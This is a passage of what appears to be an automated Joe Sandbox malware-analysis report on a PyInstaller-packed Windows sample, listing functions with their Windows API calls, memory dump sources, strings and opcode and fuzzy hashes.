                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD9399F000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281451526.00007FFD939A0000.00000080.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281502528.00007FFD939A2000.00000004.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd938f0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007B2246570
                                                                                                                                                                                                                                          • String ID: CJK UNIFIED IDEOGRAPH-$HANGUL SYLLABLE
                                                                                                                                                                                                                                          • API String ID: 511975427-87138338
                                                                                                                                                                                                                                          • Opcode ID: a963b875801d9843ea49cd289ad9d5ca77fa3890532c8e824ee28ee48ef07934
                                                                                                                                                                                                                                          • Instruction ID: f1accac7478e62c9accaab4a650cee3217b36c1543e64c9e3ec759f0810b294f
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: a963b875801d9843ea49cd289ad9d5ca77fa3890532c8e824ee28ee48ef07934
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: EB416B72B0C74286E7309F69E41026EBB55EB80790F844231EA5D57ADDEF3DD801CB80
                                                                                                                                                                                                                                          Function 00007FFD940FFE60 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 114COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: $%!.15g$-
                                                                                                                                                                                                                                          • API String ID: 1436585979-875264902
                                                                                                                                                                                                                                          • Opcode ID: 312380605faac612b932c0e84749a71c5b5db630570bc0cb0ad3afdeeff4af52
                                                                                                                                                                                                                                          • Instruction ID: 91fff3133c004bfb775afecb6b28d6b5b0a08446f644a7c3754c12d4a312aac4
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 312380605faac612b932c0e84749a71c5b5db630570bc0cb0ad3afdeeff4af52
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 09411762B1878587E720CB6EE0A17AA7BA0FF46784F008176EA8D47787CB3DD505D700
                                                                                                                                                                                                                                          Function 00007FFDA35919DD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2285944180.00007FFDA3591000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDA3590000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285918556.00007FFDA3590000.00000002.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285944180.00007FFDA3613000.00000040.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285944180.00007FFDA3615000.00000040.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285944180.00007FFDA363D000.00000040.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285944180.00007FFDA3648000.00000040.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285944180.00007FFDA3653000.00000040.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2286219552.00007FFDA3657000.00000080.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2286260013.00007FFDA3659000.00000004.00000001.01000000.00000010.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffda3590000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007
                                                                                                                                                                                                                                          • String ID: ..\s\ssl\tls_srp.c
                                                                                                                                                                                                                                          • API String ID: 3568877910-1778748169
                                                                                                                                                                                                                                          • Opcode ID: 5de455a0e33419aeed79645b2a849e8fb5092a76a7a5c4db12254346f5210564
                                                                                                                                                                                                                                          • Instruction ID: 8fdc7d41cf08091b98b05970f6b758be773bf72078acf278d2e58c2ab65c001e
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5de455a0e33419aeed79645b2a849e8fb5092a76a7a5c4db12254346f5210564
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: B6413322B0BBC780FA95DF55A46177823A2AF42BC4F1C4635DD1D5B78BDF29E4018318
                                                                                                                                                                                                                                          Function 00007FF79D057E10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • CreateDirectoryW.KERNEL32(00000000,?,00007FF79D05352C,?,00000000,00007FF79D053F23), ref: 00007FF79D057F22
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CreateDirectory
                                                                                                                                                                                                                                          • String ID: %.*s$%s%c$\
                                                                                                                                                                                                                                          • API String ID: 4241100979-1685191245
                                                                                                                                                                                                                                          • Opcode ID: 517c45005fecb665460f06d6deeb7a52b86fc8f3bacaeb8cdec2a0b3fdaf0698
                                                                                                                                                                                                                                          • Instruction ID: 14d313e6f6e02c1656f050f5a09bbf0cc924066caf1f9c295aaa3091e063ea9c
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 517c45005fecb665460f06d6deeb7a52b86fc8f3bacaeb8cdec2a0b3fdaf0698
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7931B82161DAC145EA31AB3AA8507FAA355EF84BE4F840231EEED477C9FF2CD6418710
                                                                                                                                                                                                                                          Function 00007FF79D052810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Message
                                                                                                                                                                                                                                          • String ID: ERROR$Error$[PYI-%d:%ls]
                                                                                                                                                                                                                                          • API String ID: 2030045667-255084403
                                                                                                                                                                                                                                          • Opcode ID: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
                                                                                                                                                                                                                                          • Instruction ID: 95687d658d91859a3669fe2c9841c8391e5266efa5b20eb8a61846abea4739bc
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2521A162B0CB4182E720AB69F8447EAB3A4EB88784F804136EECD57755EF3CD645C750
                                                                                                                                                                                                                                          Function 00007FF79D06C610 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: FileWrite$ConsoleErrorLastOutput
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2718003287-0
                                                                                                                                                                                                                                          • Opcode ID: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
                                                                                                                                                                                                                                          • Instruction ID: 040346d98be79e2adab935866ca3b437c78d50d9d3c7bc55f0719d2561069589
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 36D1F372B18A8089E720DFB9D4402EC7B71FB44798BC48235DE9D97B89EE39D016C354
                                                                                                                                                                                                                                          Function 00007FF79D06CFD0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79D06CFBB), ref: 00007FF79D06D0EC
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79D06CFBB), ref: 00007FF79D06D177
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ConsoleErrorLastMode
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 953036326-0
                                                                                                                                                                                                                                          • Opcode ID: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
                                                                                                                                                                                                                                          • Instruction ID: d9b47d4b301cbc07b585a3b69464089dd41249c3862eb7c3110207e99088e6b7
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4691B532F1CA5295F770AFB994402BDABA0BB54B88FD44235DE8E57684EE78D442C730
                                                                                                                                                                                                                                          Function 00007FFD9411DB10 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1436585979-0
                                                                                                                                                                                                                                          • Opcode ID: 1485575833ac080eba873b396e4fec7d0adbbe42a312c587b8f7937f0ac7c60a
                                                                                                                                                                                                                                          • Instruction ID: 1a1dc3ba359c61d7d622f275ee8b08a90e68101072c1fa5dbd7e151b99e168be
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1485575833ac080eba873b396e4fec7d0adbbe42a312c587b8f7937f0ac7c60a
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6B91C072B1979686EA749B52D1A02692390FF4AB90F589634EE6D17BC2DF3CF410C700
                                                                                                                                                                                                                                          Function 00007FF79D06F9FC Relevance: 6.2, APIs: 4, Instructions: 162COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _get_daylight$_isindst
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 4170891091-0
                                                                                                                                                                                                                                          • Opcode ID: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
                                                                                                                                                                                                                                          • Instruction ID: cb825dc3b5138cbfae4a0437d824223de320924b1a726acc5f1adfa1764a9a95
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 80510772F0C91186FB34EFB899556BCAB61BB40398FD01235DE5E52AE5EB38A4418710
                                                                                                                                                                                                                                          Function 00007FF79D0657EC Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: File$ErrorHandleInformationLastNamedPeekPipeType
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2780335769-0
                                                                                                                                                                                                                                          • Opcode ID: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
                                                                                                                                                                                                                                          • Instruction ID: aa36a6973a16b3bff65cb99ebbc902c2fce21a470e45e07d8067f197042e06f6
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: F951A222F0CA418AFB20EFB9D4583BD63B1AB54B58F944535DE8D57688EF78D4418720
                                                                                                                                                                                                                                          Function 00007FFD941340F0 Relevance: 6.1, APIs: 4, Instructions: 70COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1436585979-0
                                                                                                                                                                                                                                          • Opcode ID: b93e7d24146e94e90c05e856a74659a5816adcbd1dcfc72995cc6fe0d7043182
                                                                                                                                                                                                                                          • Instruction ID: 00a7852448bd1b5d52d4dab29baa8616c1322d81e4043fb1c2b50f6dcd98decd
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: b93e7d24146e94e90c05e856a74659a5816adcbd1dcfc72995cc6fe0d7043182
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 96219E62B08B5683DA74AB56B5A11BAA3A1FF467C0B089131DBCE57F56CF2CF051C304
                                                                                                                                                                                                                                          Function 00007FF79D0520C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: LongWindow$DialogInvalidateRect
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1956198572-0
                                                                                                                                                                                                                                          • Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
                                                                                                                                                                                                                                          • Instruction ID: 976859c6d47dff65c1cc62ae863d1d4c0eb6feaeaf41df1dfbd986e3ee230255
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: B611A921B1C14242F674A77FE94827E9291EF94780FC45130DF8D07B9AED2DD4D58214
                                                                                                                                                                                                                                          Function 00007FF79D05D080 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2933794660-0
                                                                                                                                                                                                                                          • Opcode ID: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
                                                                                                                                                                                                                                          • Instruction ID: 04c053c80f8b8134541e057ba65b19bc16c3c980e065eb2f71aa08ffa335930b
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: DB114822B18B058AEB10DF74EC442B973A4FB19758F840E31DAAD867A4EF38D1958350
                                                                                                                                                                                                                                          Function 00007FFD938F2E0C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280851953.00007FFD938F1000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFD938F0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280801321.00007FFD938F0000.00000002.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD9393A000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD93948000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD93997000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD9399C000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD9399F000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281451526.00007FFD939A0000.00000080.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281502528.00007FFD939A2000.00000004.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd938f0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2933794660-0
                                                                                                                                                                                                                                          • Opcode ID: 1143ce772416530538e6e632f3059b38426edc2ca8d0a1c1cafe6258f8b28d68
